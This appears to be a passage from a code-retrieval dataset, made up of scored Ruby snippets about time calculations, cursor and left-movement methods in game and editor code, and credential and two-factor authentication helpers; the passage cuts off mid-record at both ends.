calculate_task_target_date(creation_date, frequency)\n creation_date + convert_frequency_to_seconds(frequency)\n end", "title": "" }, { "docid": "c78e97156b15186ca212f91d5c157c2d", "score": "0.5244418", "text": "def running_time\n a = started_at or return nil\n b = done_at or return nil\n (b - a).to_f / 60.0\n end", "title": "" }, { "docid": "88184f2ae43859ae8c4b1bcdfd329e0e", "score": "0.52441394", "text": "def createtime_nseconds; end", "title": "" }, { "docid": "a4144826416b9fd998a163f432636d5f", "score": "0.52273476", "text": "def next_reminder(time)\n # return next_time\n end", "title": "" }, { "docid": "0affa5595dcc1a3e42e300792dbf54db", "score": "0.52270323", "text": "def process\n uptime = SysInfo.new.uptime\n\n @days = (uptime / 24).floor\n @hours = (uptime - @days * 24).floor\n @minutes = ((uptime - @days * 24 - hours) * 60).floor\n end", "title": "" }, { "docid": "639f5e17f7bf05245000a20faa1e7bdf", "score": "0.5226737", "text": "def past_due(deadline, current = nil, epsilon: EPSILON)\n return unless deadline\n current = current&.to_f || timestamp\n overtime = current - deadline.to_f\n positive_float(overtime, epsilon: epsilon)\n end", "title": "" }, { "docid": "7edfc46f25d98134572cdd69a610ebda", "score": "0.522651", "text": "def countdown(start)\nend", "title": "" }, { "docid": "7f9a6f78beccd711e9b03ab0dbc69346", "score": "0.52221286", "text": "def run\n return unless context.deadline\n return unless all_skills_completed?\n\n context.deadline.update_attributes!(completed_on: Date.today)\n end", "title": "" }, { "docid": "b99314c744392c2ca7c988be499f7b66", "score": "0.52208763", "text": "def compute_final_time\n passages_list = get_passages\n total_hundreds = passages_list.sum(:hundreds) + (passages_list.sum(:seconds) * 100) + (passages_list.sum(:minutes) * 6000)\n Timing.new(total_hundreds)\n end", "title": "" }, { "docid": "58a84a7d73e4f6765957d3c7ae746c42", "score": "0.5220144", "text": "def time(args = {})\n finished,value = default_and_nil(args)\n return value if finished\n \n year = \"#{rand(133) + 1904}\".rjust(4,\"0\")\n month = \"#{rand(12) + 1}\".rjust(2,\"0\")\n day = \"#{rand(31) + 1}\".rjust(2,\"0\")\n \n hour = \"#{rand 23 + 1}\".rjust(2,\"0\")\n minute = \"#{rand 59 + 1}\".rjust(2,\"0\")\n second = \"#{rand 59 + 1}\".rjust(2,\"0\")\n s = \"#{year}-#{month}-#{day} #{hour}:#{minute}:#{second}\"\n return Time.parse(s)\n end", "title": "" }, { "docid": "98453faad43ac2fc88ea3799bf36fdd8", "score": "0.52186865", "text": "def retirement\n # Time.now synonym for Time.new\n current_year = Time.new.year\n puts \"==> What is your age? \"\n user_age = gets.chomp.to_i\n\n puts \"==> At what age would you like to retire? \"\n retirement_age = gets.chomp.to_i\n\n years_left = retirement_age - user_age\n puts \"It's #{current_year}. You will retire in #{current_year + years_left}.\"\n\n puts \"You only have #{years_left} years of work to go!\"\nend", "title": "" }, { "docid": "9269ee92c6d941bc3dc0e2b36d1a5f1d", "score": "0.52121377", "text": "def run_schedule\n scheduler = Scheduler.new(@user, @task)\n results = scheduler.schedule\n #results[0] = week, [1] = couldnt schedule, [2] = past_due\n update_tasks(results[0])\n end", "title": "" }, { "docid": "968538b8ffb37ed578485096f39278bf", "score": "0.52114993", "text": "def sec\n finished_at - started_at if finished_at && started_at\n end", "title": "" } ]
e831c6518f612a759e6340de2fbb8ec5
moves mouse to first open position on the left hand side
[ { "docid": "7cd9e60bf74741ce12d0c89f2cb950ec", "score": "0.6497628", "text": "def set_left_start_point\n @leading_x = 0\n @leading_y = find_left_entry\n end", "title": "" } ]
[ { "docid": "610d8c33e05dad9ed5d8d9979a9dc04f", "score": "0.80244637", "text": "def left; move_cursor(-1); end", "title": "" }, { "docid": "610d8c33e05dad9ed5d8d9979a9dc04f", "score": "0.80244637", "text": "def left; move_cursor(-1); end", "title": "" }, { "docid": "29282ee083965920e62b93104f22b74e", "score": "0.762675", "text": "def move_cursor_left\n @cursor -= 1\n end", "title": "" }, { "docid": "748b0aed259f5bfe1d5fe0072d3cc146", "score": "0.7624665", "text": "def left_click\n x, y = source_x_y(0)\n WindowsInput.move_mouse(x+2,y+2)\n WindowsInput.left_click\n end", "title": "" }, { "docid": "3d7a1f5574f34a4a7ea213da50bc9874", "score": "0.74880004", "text": "def close_left\n smooth_move(0 - self.width, self.y);\n end", "title": "" }, { "docid": "943f33dd5e1f33c812c167c771bd0ca3", "score": "0.73373425", "text": "def cursor_move_left\n @cursor_position -= 1 if self.cursor_can_move_left?\n self.reset_cursor_blinking\n end", "title": "" }, { "docid": "99031ff47bec82fbcafedd5dd7751c22", "score": "0.72898996", "text": "def move_left\n @ox -= 1\n\n @attributes = attributes.merge!(x: coordinate.x_position,\n y: y,\n ox: ox,\n oy: oy)\n\n Vedeu::Cursors::Cursor.new(@attributes).store\n end", "title": "" }, { "docid": "21c93107d87d5c5342a75ebac67ea696", "score": "0.71980274", "text": "def move_left\n @ox -= 1\n @x = coordinate(ox, :x).x\n\n store_and_refresh\n end", "title": "" }, { "docid": "c25a09ea4aa5bf7cc8e3af96df5d317f", "score": "0.71820986", "text": "def click_left_mouse(x, y)\n ApiDefs.set_cursor_pos.call(x, y)\n ApiDefs.mouse_event.call(ApiDefs::MOUSEEVENTF_LEFTDOWN, x, y, 0, 0)\n sleep(0.05)\n ApiDefs.mouse_event.call(ApiDefs::MOUSEEVENTF_LEFTUP, x, y, 0, 0)\n end", "title": "" }, { "docid": "3acb770269b70f18f3f6df060c2fcca1", "score": "0.7170897", "text": "def left\n move(0, -1)\n end", "title": "" }, { "docid": "3acb770269b70f18f3f6df060c2fcca1", "score": "0.7170897", "text": "def left\n move(0, -1)\n end", "title": "" }, { "docid": "86822cb79d6e9506f190c7b0307f78c5", "score": "0.7134838", "text": "def mouse_left\n return if @mode == :skill || @pokemon.egg?\n $game_system.se_play($data_system.decision_se)\n @index -= 1\n @index = LAST_STATE if @index < 0\n update_ui_visibility\n end", "title": "" }, { "docid": "d06fc9a26b18d1ba8aa575c7eafe27ac", "score": "0.7026133", "text": "def cursor_move_left\n\t\tif @cursor[2] > min_col\n\t\t\tcursor_move(SUB_LEFT)\n\t\t\treprint\n\t\tend\n\tend", "title": "" }, { "docid": "71ae294cd965c537d28ff11db7e74e06", "score": "0.69772756", "text": "def move_left!\n @posy -= 1\n end", "title": "" }, { "docid": "d3f91c421e3909c172daa8e6963be865", "score": "0.69740605", "text": "def move_left\n @x -= 1 if @level.move_left_from?(@x,@y)\n end", "title": "" }, { "docid": "ba8fcddc55ba36d49ffe9426322c5e9b", "score": "0.6973676", "text": "def leftClicked\n\t\t@first.leftClicked\n\tend", "title": "" }, { "docid": "cb49d11251cf8b07694ce6f0dbb5603e", "score": "0.6907748", "text": "def cursor_left\n Kernel.raise NotImplementedError\n end", "title": "" }, { "docid": "4de7e1567b717d5c7ec554fd3eacaa13", "score": "0.685268", "text": "def cursor_left(wrap = true)\n if col_max >= 2 && (index > 0 || (wrap && horizontal?))\n select((index - 1 + item_max) % item_max)\n @item_window.category = current_symbol if @item_window\n end\n end", "title": "" }, { "docid": "669d81d04dd61661a9f5134d4fdc0610", "score": "0.6841974", "text": "def move(left)\n @cursor.visible = false\n @flag_center.zoom = 0.9\n @flag_center.x = 85\n @flag_center.opacity = 192\n left ? move_left_animation : move_right_animation\n @flag_left.x = -76\n @flag_center.x = 91\n @flag_center.opacity = 255\n @flag_center.y = 81\n @flag_center.zoom = 1.0\n @flag_right.x = 258\n update_index\n @cursor.visible = true\n @stack.stack.pop.dispose\n end", "title": "" }, { "docid": "e61b7ebbc1bd7b41f2ddb02d4e6f5197", "score": "0.6819862", "text": "def move_left\n @position[:x] -= 1\n end", "title": "" }, { "docid": "220debae4ef76efd3dd4776bbf1c52ce", "score": "0.6802852", "text": "def move_left\n Treefell['editor'].puts \"move_left\"\n @line_editor.move_left\n end", "title": "" }, { "docid": "6e309a9debe2c52a5df660377a9f664f", "score": "0.6783544", "text": "def move_cursor_left(params) \n\t\texecute_command(model.cursor_row, model.cursor_col, model.cursor_row, model.cursor_col - (params[:multiplier] || 1), params)\n\tend", "title": "" }, { "docid": "1f16bbeadf4617baa45ad63a292fa017", "score": "0.67777646", "text": "def move_left\n @position[0] -= 1\n end", "title": "" }, { "docid": "82ada5f1bfd9cdc0a80adc7d000f7972", "score": "0.67732066", "text": "def move_left\n @position -= 1\n end", "title": "" }, { "docid": "6ab0e10a3c15ed77a874ae648bb865dc", "score": "0.67616093", "text": "def key_click_left_pressed\n\t\t@picrossFrame.click(@posY, @posX, CellButton::BUTTON_LEFT_CLICK)\n\t\treturn self\n\tend", "title": "" }, { "docid": "60500d598a8fb8955bd7176acdc7acb3", "score": "0.6760371", "text": "def right; move_cursor(1); end", "title": "" }, { "docid": "60500d598a8fb8955bd7176acdc7acb3", "score": "0.6760371", "text": "def right; move_cursor(1); end", "title": "" }, { "docid": "ea63d968598c3043537ab1f344314935", "score": "0.6742739", "text": "def left\n @cursor.retreat\n end", "title": "" }, { "docid": "cb4c1a82ba31039590c086110d27014c", "score": "0.67337316", "text": "def cursor_left(wrap = false)\n process_pageup\n end", "title": "" }, { "docid": "cb4c1a82ba31039590c086110d27014c", "score": "0.67337316", "text": "def cursor_left(wrap = false)\n process_pageup\n end", "title": "" }, { "docid": "cb4c1a82ba31039590c086110d27014c", "score": "0.67337316", "text": "def cursor_left(wrap = false)\n process_pageup\n end", "title": "" }, { "docid": "1fca96c18eaa9bb7da0623f011506f8f", "score": "0.67111695", "text": "def move_left \n # if @x is less than zero, reset it to zero to prevent it from moving off the screen\n if @x < 0\n @x = 0\n else\n @x = @x - 10\n end\n end", "title": "" }, { "docid": "87bca7c1845407f847e45c43f41ea7c3", "score": "0.66974527", "text": "def moveLeft\n if @x\n call Screen.setColor(@x)\n call Screen.drawRectangle(@x, @y, @x, @y)\n let @x = @x\n call Screen.setColor(@x)\n call Screen.drawRectangle(@x, @y, @x, @y)\n end\n end", "title": "" }, { "docid": "10ba5eb1f07785706537230c8c5517a6", "score": "0.66964924", "text": "def cursor_left(wrap = false)\n if (@index > 0 || wrap)\n\n temp_index = (@index - 1 + @item_max) % @item_max\n while !@positions[temp_index].enabled\n temp_index = (temp_index - 1 + @item_max) % @item_max\n end\n \n if (temp_index < @index || wrap)\n @index = temp_index\n end\n end\n end", "title": "" }, { "docid": "10ba5eb1f07785706537230c8c5517a6", "score": "0.66964924", "text": "def cursor_left(wrap = false)\n if (@index > 0 || wrap)\n\n temp_index = (@index - 1 + @item_max) % @item_max\n while !@positions[temp_index].enabled\n temp_index = (temp_index - 1 + @item_max) % @item_max\n end\n \n if (temp_index < @index || wrap)\n @index = temp_index\n end\n end\n end", "title": "" }, { "docid": "39ea9d8602b3f65640ddf27799483707", "score": "0.6693919", "text": "def cursor_left(wrap = false)\n if (@column_max >= 2) and\n (@index > 0 or (wrap and page_row_max == 1))\n Sound.play_cursor\n self.index = (@index - 1 + @item_max) % @item_max\n end\n end", "title": "" }, { "docid": "39ea9d8602b3f65640ddf27799483707", "score": "0.6693919", "text": "def cursor_left(wrap = false)\n if (@column_max >= 2) and\n (@index > 0 or (wrap and page_row_max == 1))\n Sound.play_cursor\n self.index = (@index - 1 + @item_max) % @item_max\n end\n end", "title": "" }, { "docid": "787b5cea7d5a7c207d7c847fbf0db1b6", "score": "0.6673253", "text": "def move_left\n move_to_left_of left_sibling\n end", "title": "" }, { "docid": "787b5cea7d5a7c207d7c847fbf0db1b6", "score": "0.6673253", "text": "def move_left\n move_to_left_of left_sibling\n end", "title": "" }, { "docid": "9b003e97c5594e30cc2e3b889bd6a5be", "score": "0.6646287", "text": "def move_left\n move_to_left_of left_sibling if left_sibling\n end", "title": "" }, { "docid": "bef51c1d72399b2e7c3af5e361d03e18", "score": "0.661793", "text": "def startMovingLeft\n\t\t@direction = :left\n\tend", "title": "" }, { "docid": "c89052fae90da1ad697f8290dc79cac9", "score": "0.6617726", "text": "def move_left\n @x -= 6\n if @x < 0\n @x = 0\n end\n end", "title": "" }, { "docid": "baff7dc5299d1fc4ca8498f0ce91b614", "score": "0.6598301", "text": "def move_to_left_of(node)\n move_to node, :left\n end", "title": "" }, { "docid": "baff7dc5299d1fc4ca8498f0ce91b614", "score": "0.6598301", "text": "def move_to_left_of(node)\n move_to node, :left\n end", "title": "" }, { "docid": "b92ef5796d18489c47a99687c0ea4e4c", "score": "0.65950197", "text": "def leftClicked\n\t\tcoreCell.primaryChange()\n\tend", "title": "" }, { "docid": "f403399bf33cc06541e723acc49e831d", "score": "0.65944123", "text": "def move_left\n if !game_over? and @game.is_running?\n @current_block.move(-1, 0, 0)\n end\n draw\n end", "title": "" }, { "docid": "deb7f80a5343a6e96b33e8ad6750244b", "score": "0.65846145", "text": "def move_left\n $y -= 1\n take_step\n end", "title": "" }, { "docid": "d6ba75613c8843c331f60e072dac8080", "score": "0.65752715", "text": "def move_first\n @selected = 0\n @offset = 0\n end", "title": "" }, { "docid": "7983772c79abbc6a36bc05e6ce7d5bd3", "score": "0.65700614", "text": "def cursor_left( stopped_typing = Buffer::STOPPED_TYPING )\n @current_buffer.cursor_to(\n @current_buffer.last_row,\n @current_buffer.last_col - 1,\n Buffer::DO_DISPLAY,\n stopped_typing\n )\n end", "title": "" }, { "docid": "964466c1d3bdb510922f2269e76a39e6", "score": "0.65440995", "text": "def move_left\n move_up!\n end", "title": "" }, { "docid": "6d29024730408706d1018c3801e8c557", "score": "0.6534953", "text": "def jump_left\n while check_for(\"-\",SAME,LEFT) do\n @cursor.col += LEFT\n end\n @cursor.col += LEFT\n end", "title": "" }, { "docid": "056c728c7c8a94dd36f02b736cfee997", "score": "0.65328443", "text": "def cursor_left(wrap = false)\n if col_max >= 2 && (index > 0 )#|| (wrap && horizontal?))\n select((index - 1 + item_max) % item_max)\n end\n end", "title": "" }, { "docid": "5fe8310ebfd37188e267ad54d90e5f75", "score": "0.6518431", "text": "def move_left\n if x - 1 < 1\n dx = x\n dxn = xn\n else\n dx = x - 1\n dxn = xn - 1\n end\n\n @attributes = attributes.merge(\n centred: false,\n maximised: false,\n x: dx,\n xn: dxn,\n y: y,\n yn: yn,\n )\n Vedeu::Geometry::Geometry.new(@attributes).store\n end", "title": "" }, { "docid": "e07268294cff094c3a3fd006f4e0c031", "score": "0.65097815", "text": "def move_to_left_of(node)\n move_to node, :left\n end", "title": "" }, { "docid": "1196315b6cb63d27e58e5128e6c6db9a", "score": "0.65018845", "text": "def left\n $el.overlay_start @overlay\n end", "title": "" }, { "docid": "26652ff7e73c2114c23043091ba3ae4a", "score": "0.6500677", "text": "def move_to_left_of(node)\n move_to_bottom\n move_to node, :left\n end", "title": "" }, { "docid": "09fb3cf0f6f4045a09b297084accb38e", "score": "0.6491472", "text": "def cursor_left(wrap = false)\n return if @commands_disabled\n process_cursor_cancel\n end", "title": "" }, { "docid": "1890094c725237b7948c6835965825fd", "score": "0.6490102", "text": "def redraw_left\n element_left\n end", "title": "" }, { "docid": "c0449ba7f6bd79739dc3d3f3852e7990", "score": "0.64789176", "text": "def move_to_left_of(node)\n move_to node, :left\n end", "title": "" }, { "docid": "c0449ba7f6bd79739dc3d3f3852e7990", "score": "0.64789176", "text": "def move_to_left_of(node)\n move_to node, :left\n end", "title": "" }, { "docid": "caf0c4cd6b1d95787783a1e6bcabbd87", "score": "0.6474761", "text": "def move_piece_left!\n @current_piece_pos[0] = @current_piece_pos[0]-1\n end", "title": "" }, { "docid": "f3ac4f59f5c8215c87a55ec7b026f639", "score": "0.6468344", "text": "def left \n\t\t# @obj.scale_x = -1.0 \n\t\t@obj.source = \"<\"\n\tend", "title": "" }, { "docid": "14589bcbb746a56cea486a0418f85e46", "score": "0.64618933", "text": "def left\n @ox -= 1 unless @ox == 0\n @x -= 1\n\n self\n end", "title": "" }, { "docid": "14589bcbb746a56cea486a0418f85e46", "score": "0.64618933", "text": "def left\n @ox -= 1 unless @ox == 0\n @x -= 1\n\n self\n end", "title": "" }, { "docid": "d52fb086cd17acb3efc706058fd46133", "score": "0.64566165", "text": "def move_left\n return self if x - 1 < 1\n\n move(x: x - 1, xn: xn - 1)\n end", "title": "" }, { "docid": "eb40865802e85fdfac5b48eadcc01096", "score": "0.64555764", "text": "def move_left\n self.move_to_left_of(self.left_sibling)\n end", "title": "" }, { "docid": "26073a6def9389cee444f4d6b52e39cf", "score": "0.6446237", "text": "def move_left\n move_to_left_of left_sibling\n end", "title": "" }, { "docid": "8790578085e607e82f0fa0fdad32aa8f", "score": "0.64390725", "text": "def left\n yield west if block_given?\n\n move(:left) if can_move?(:left)\n end", "title": "" }, { "docid": "b96a5089cc532f018d89072da6717d6e", "score": "0.6437179", "text": "def move_left\n left_tile = C[@location.coords.first, @location.coords.second - 1]\n move_to(Location.new(@location.map, left_tile))\n end", "title": "" }, { "docid": "1c9abbcb94005922aa6f2b2ad86ee4ea", "score": "0.6436536", "text": "def left\n @ox -= 1 unless @ox == 0\n @x -= 1\n\n self\n end", "title": "" }, { "docid": "25b68c73631388a6788c8eab0edd83c6", "score": "0.6430237", "text": "def move_left!\r\n sibling = nearest_sibling(:left)\r\n sibling ? self.move_to_left_of(sibling) : false\r\n end", "title": "" }, { "docid": "bbd7308fbd72031e32cea386bd0fcc20", "score": "0.6406351", "text": "def slide_left\r\n @x -= Gosu::random(3,5)\r\n @y -= Gosu::random(1,4)\r\n @dir = :left\r\n @sprite = @jump_left\r\n end", "title": "" }, { "docid": "2cea956db05bad8a2c72c1396d713300", "score": "0.64006704", "text": "def left\n if @direction != @dir_east then\n \t\t @direction = @dir_west\n \t end\n end", "title": "" }, { "docid": "2b888022f4f66ee72f472cff366f0094", "score": "0.64003193", "text": "def moveLeft()\n if (@column > 0)\n @column -= 1\n end\n end", "title": "" }, { "docid": "dca02cc13863302307917986e18f3200", "score": "0.6388171", "text": "def key_left_pressed\n\t\tself.moveDir(0, -1)\n\t\treturn self\n\tend", "title": "" }, { "docid": "b182741d738bc185054a264be15c13ef", "score": "0.63745946", "text": "def mouse_x; mouseX; end", "title": "" }, { "docid": "16d0519c5bcc41e9cb6dc56f985fbba5", "score": "0.6371159", "text": "def left\n origin.x\n end", "title": "" }, { "docid": "8995ac8e9671905b75650e9aa14ccd9c", "score": "0.6369688", "text": "def move_left\n left_tile = Couple.new(@location.first, @location.second - 1)\n move_to(left_tile)\n end", "title": "" }, { "docid": "e29a117c64d535aae74d2be311e6f6f0", "score": "0.63668966", "text": "def show_left!\n left(true)\n end", "title": "" }, { "docid": "e29a117c64d535aae74d2be311e6f6f0", "score": "0.63668966", "text": "def show_left!\n left(true)\n end", "title": "" }, { "docid": "3abffe4ee0dad710a5f92a204a2edcd0", "score": "0.63601977", "text": "def activate\n publish(:clicked_left_mouse_button, x + width / 2, y + height / 2) if enabled?\n end", "title": "" }, { "docid": "e2342bdd701b632570a11f2f33ea27ca", "score": "0.63554543", "text": "def cursor_can_move_left?\n return (@cursor_position > 0)\n end", "title": "" }, { "docid": "7430c00ca4bab4d9f026339f271ff257", "score": "0.63503355", "text": "def move_to_left_of(node)\n self.move_to node, :left\n end", "title": "" }, { "docid": "ca3554d76be45ec71f350c031191efc1", "score": "0.634869", "text": "def startLeftDrag(startCell)\n\t\tif !@map.currentStat.isFinished then\n\t\t\tstate = @map.rotateStateAt(startCell.posY, startCell.posX).state\n\t\t\tstartDrag(startCell, state)\n\t\tend\n\t\treturn self\n\tend", "title": "" }, { "docid": "17165449b0379f4fb90e26f21c48656a", "score": "0.63398045", "text": "def move_lower_left(mode = 0)\n mode == 0 ? move_generic(mode, true, 1) : super()\n end", "title": "" }, { "docid": "ded4d382eec89a46b850bdbf987c5f82", "score": "0.6333421", "text": "def move_left_jf\n@moving=true\n@direction=:left\n@x += -1\nend", "title": "" }, { "docid": "23c966c0e69a116ca8e52aa16720f462", "score": "0.6324261", "text": "def left \n #only if robot is available to change\n @position_info[-1] = Directions[Directions.index(@position_info.last) - 1] \n end", "title": "" }, { "docid": "5f6a9fa44459ed96141a6422b592e945", "score": "0.6323711", "text": "def left\n x, y = last_move.keys[0]\n [(x - 1), y]\n end", "title": "" }, { "docid": "91713ca2075094c9cd3acf2e0fe95173", "score": "0.6310614", "text": "def move_left\r\n @dir = :left\r\n @move_x = -3\r\n @sprite = @walk_left if @jump == 0\r\n @moving = true\r\n end", "title": "" }, { "docid": "f56b113507bf5ff4a9318a8a22f4c5a1", "score": "0.6307366", "text": "def move_left\n # Shift x position left by 2 (each square on game board is 2x2 array elements)\n @position[:x] -= 2\n\n # Reset x position if the new position isnt valid\n @position[:x] += 2 unless is_valid_position?\n end", "title": "" }, { "docid": "81f23d8c548cc1bd4ea01e709fe1f49e", "score": "0.62873167", "text": "def left\n Coordinates.new(x-1, y)\n end", "title": "" }, { "docid": "a074ef22499108f0f666976f22cd559e", "score": "0.62862825", "text": "def cursor_left(wrap)\n if @index % jpg_columns > 0\n @index -= 1\n elsif wrap\n @index += (jpg_columns - 1)\n end\n end", "title": "" }, { "docid": "3f315ec7e855becc70be7bc09ed852a7", "score": "0.6285744", "text": "def mouse_moved(window, x,y)\n \n end", "title": "" }, { "docid": "0f316a902681dc10c705a578da235ed9", "score": "0.628387", "text": "def input_left_button\n if left_button_clicked?\n state.play = false\n state.anim_steps -= 1\n recalculate\n end\n end", "title": "" }, { "docid": "7e174896b7a67c6f1ade7aa9c202f2e3", "score": "0.62756884", "text": "def move_left\n puts_if_debug_mode \"move left\"\n self.current_cell -= 1\n self.remaining_moves += 1\n end", "title": "" }, { "docid": "54797e5f704d3d20954cfd9e2a205a01", "score": "0.62743646", "text": "def scroll_display_left\n @displayshift = LCD_DISPLAYMOVE | LCD_MOVELEFT\n write(LCD_CURSORSHIFT | @displayshift)\n end", "title": "" }, { "docid": "3a1624d790ed7d62b2517939801deefe", "score": "0.6261733", "text": "def key_click_left_released\n\t\t@picrossFrame.drag.reset\n\t\treturn self\n\tend", "title": "" }, { "docid": "66bdbef07b3ebf0882d175b125e3771e", "score": "0.6258343", "text": "def move_lower_left\n # if not direction fixed\n unless @direction_fix\n # set direction\n @direction = (@direction == 6 ? 4 : @direction == 8 ? 2 : @direction)\n end\n # if passable (if pixel movement is on, allow corner skip)\n if BlizzABS.pixel > 1 &&\n (passable?(@x, @y, 2) && passable?(@x, @y + 1, 4) ||\n passable?(@x, @y, 4) && passable?(@x - 1, @y, 2)) ||\n passable?(@x, @y, 2) && passable?(@x, @y + 1, 4) &&\n passable?(@x, @y, 4) && passable?(@x - 1, @y, 2)\n # set new coordinates\n @x -= 1\n @y += 1\n # increase steps\n increase_steps\n # moved\n return true\n end\n # check touched events\n check_event_trigger_touch(@x-1, @y+1)\n # not moved\n return false\n end", "title": "" }, { "docid": "66bdbef07b3ebf0882d175b125e3771e", "score": "0.6258343", "text": "def move_lower_left\n # if not direction fixed\n unless @direction_fix\n # set direction\n @direction = (@direction == 6 ? 4 : @direction == 8 ? 2 : @direction)\n end\n # if passable (if pixel movement is on, allow corner skip)\n if BlizzABS.pixel > 1 &&\n (passable?(@x, @y, 2) && passable?(@x, @y + 1, 4) ||\n passable?(@x, @y, 4) && passable?(@x - 1, @y, 2)) ||\n passable?(@x, @y, 2) && passable?(@x, @y + 1, 4) &&\n passable?(@x, @y, 4) && passable?(@x - 1, @y, 2)\n # set new coordinates\n @x -= 1\n @y += 1\n # increase steps\n increase_steps\n # moved\n return true\n end\n # check touched events\n check_event_trigger_touch(@x-1, @y+1)\n # not moved\n return false\n end", "title": "" }, { "docid": "6643f3f39d83613df942e42f80e9956b", "score": "0.625314", "text": "def mouse_moved(x,y)\n \n end", "title": "" } ]
b61dfdba456919baa39fcdc0885b7692
REQUIRED summary: This credential type is used for two factor authentication by phone. value is a HealthVault::WCData::Auth::SimplePhoneFactorCredential
[ { "docid": "667f9e62877a3e4f4dd776925ef3f5e5", "score": "0.52356774", "text": "def simple_phone_factor=(value)\n @children['simple-phone-factor'][:value] = value\n end", "title": "" } ]
[ { "docid": "293f52c9c68fdddcdf340be7e6e557fb", "score": "0.62372357", "text": "def auth_second_factor_type=(auth_second_factor_type)\n validator = EnumAttributeValidator.new('String', ['none', 'phone_number', 'totp', 'mobile_push', 'security_key', 'fingerprint'])\n unless validator.valid?(auth_second_factor_type)\n fail ArgumentError, 'invalid value for \"auth_second_factor_type\", must be one of #{validator.allowable_values}.'\n end\n @auth_second_factor_type = auth_second_factor_type\n end", "title": "" }, { "docid": "e292dd6536ad21f846cfd13572387002", "score": "0.606774", "text": "def password_credential\n user.credentials.where(type: 'Credentials::Password').first\n end", "title": "" }, { "docid": "7635db3d09ad405c7d134f7194cf34cb", "score": "0.58739483", "text": "def cred_type_to_credential_class(cred_type)\n return :ntlm_hash if cred_type == \"smb_hash\"\n return :ssh_key if cred_type == \"ssh_key\"\n return :nonreplayable_hash if cred_type.include? \"hash\"\n return :password\n end", "title": "" }, { "docid": "a0f216d71d2dbe7f91c601406a692b98", "score": "0.5853223", "text": "def get_mobily_credential(credential_type)\n mobily_credential_yaml = YAML.load_file(SETTING_FILE_PATH)\n \n case credential_type\n when :username then return mobily_credential_yaml['mobily_username']\n when :password then return mobily_credential_yaml['mobily_password']\n when :sender then return mobily_credential_yaml['mobily_sender']\n else return \"unknown request\"\n end\n \n end", "title": "" }, { "docid": "4831da5721f4d732ce450241c9f0d08e", "score": "0.582342", "text": "def credential_options\n {\n username: @config.username,\n password: @config.password\n }.tap do |opts|\n opts[:one_time_password] = @one_time_password if two_factor?\n end\n end", "title": "" }, { "docid": "863e632fe5c6aec9ed8496c8cbe410e6", "score": "0.57461125", "text": "def inspect\n \"<Twilio.Accounts.V1.CredentialInstance>\"\n end", "title": "" }, { "docid": "91f2c942581c2a320d351053d18084c2", "score": "0.56923103", "text": "def password_credential=(value)\n @password_credential = value\n end", "title": "" }, { "docid": "91f2c942581c2a320d351053d18084c2", "score": "0.56923103", "text": "def password_credential=(value)\n @password_credential = value\n end", "title": "" }, { "docid": "3db40dfbcdc4b81f7c46bd98e82fb1c6", "score": "0.5616581", "text": "def password_credential\n credentials.find { |c| c.instance_of?(Credentials::Password) }\n end", "title": "" }, { "docid": "13ac438ebf89b5e9514135fec7482d6b", "score": "0.55857086", "text": "def password_required_type=(value)\n @password_required_type = value\n end", "title": "" }, { "docid": "13ac438ebf89b5e9514135fec7482d6b", "score": "0.55857086", "text": "def password_required_type=(value)\n @password_required_type = value\n end", "title": "" }, { "docid": "13ac438ebf89b5e9514135fec7482d6b", "score": "0.55857086", "text": "def password_required_type=(value)\n @password_required_type = value\n end", "title": "" }, { "docid": "13ac438ebf89b5e9514135fec7482d6b", "score": "0.55857086", "text": "def password_required_type=(value)\n @password_required_type = value\n end", "title": "" }, { "docid": "13ac438ebf89b5e9514135fec7482d6b", "score": "0.55857086", "text": "def password_required_type=(value)\n @password_required_type = value\n end", "title": "" }, { "docid": "13ac438ebf89b5e9514135fec7482d6b", "score": "0.55857086", "text": "def password_required_type=(value)\n @password_required_type = value\n end", "title": "" }, { "docid": "13ac438ebf89b5e9514135fec7482d6b", "score": "0.55857086", "text": "def password_required_type=(value)\n @password_required_type = value\n end", "title": "" }, { "docid": "13ac438ebf89b5e9514135fec7482d6b", "score": "0.55857086", "text": "def password_required_type=(value)\n @password_required_type = value\n end", "title": "" }, { "docid": "0b52305118a11a36696fbcb1c01fb023", "score": "0.5582031", "text": "def two_factor_auth_otp_code\n two_factor_auth_otp&.send(acts_as_authentic_ext_config.two_factor_auth_otp_code_method)\n end", "title": "" }, { "docid": "f179559ba634cbc48c69928f74e6b477", "score": "0.5521137", "text": "def two_factor_auth_otp\n return @two_factor_auth_otp if defined?(@two_factor_auth_otp)\n\n if !get_two_factor_auth_key.blank? &&\n acts_as_authentic_ext_config.two_factor_auth_otp_class\n then\n @two_factor_auth_otp = acts_as_authentic_ext_config.two_factor_auth_otp_class.new(get_two_factor_auth_key)\n end\n end", "title": "" }, { "docid": "dd480956a0893207520ff604cab9e34f", "score": "0.552008", "text": "def provider_credential(type: FastlaneCI::ProviderCredential::PROVIDER_CREDENTIAL_TYPES[:github])\n return provider_credentials.detect { |provider_credential| provider_credential.type == type }\n end", "title": "" }, { "docid": "e2f81e330801929fd07b36716ea83474", "score": "0.55074656", "text": "def two_factor_auth\n end", "title": "" }, { "docid": "0fb2e8c2dd3f4eda9f2a0c48d569a323", "score": "0.5500483", "text": "def initialize()\n super\n @odata_type = \"#microsoft.graph.phoneAuthenticationMethod\"\n end", "title": "" }, { "docid": "c071f89fb9627ace9bd126011b71cd2c", "score": "0.54883045", "text": "def multi_factor_auth_phone_setup(success:,\n errors:,\n otp_delivery_preference:,\n area_code:,\n carrier:,\n country_code:,\n phone_type:,\n types:,\n **extra)\n track_event(\n 'Multi-Factor Authentication: phone setup',\n success: success,\n errors: errors,\n otp_delivery_preference: otp_delivery_preference,\n area_code: area_code,\n carrier: carrier,\n country_code: country_code,\n phone_type: phone_type,\n types: types,\n **extra,\n )\n end", "title": "" }, { "docid": "c3b3a17cdb5c679b017d40985836d89b", "score": "0.54673576", "text": "def passcode_required_type=(value)\n @passcode_required_type = value\n end", "title": "" }, { "docid": "fc9eb95d828a4fb715f0cf604d49a4a6", "score": "0.54653805", "text": "def passwordless_login_by_phone(phone, sms_template = '')\n if isNullOrWhiteSpace(phone)\n raise LoginRadius::Error.new, getValidationMessage('phone')\n end\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n query_parameters['phone'] = phone\n unless isNullOrWhiteSpace(sms_template)\n query_parameters['smsTemplate'] = sms_template\n end\n\n resource_path = 'identity/v2/auth/login/passwordlesslogin/otp'\n get_request(resource_path, query_parameters, nil)\n end", "title": "" }, { "docid": "37b8064d154c994313596819765005c7", "score": "0.54413205", "text": "def has_secure_multi_factor(options = {})\n begin\n require 'rotp'\n rescue LoadError\n $stderr.puts \"You don't have rotp installed in your 